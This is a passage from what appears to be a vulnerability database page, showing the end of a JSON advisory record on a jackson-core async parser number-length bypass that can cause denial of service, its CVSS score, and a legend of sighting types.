"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…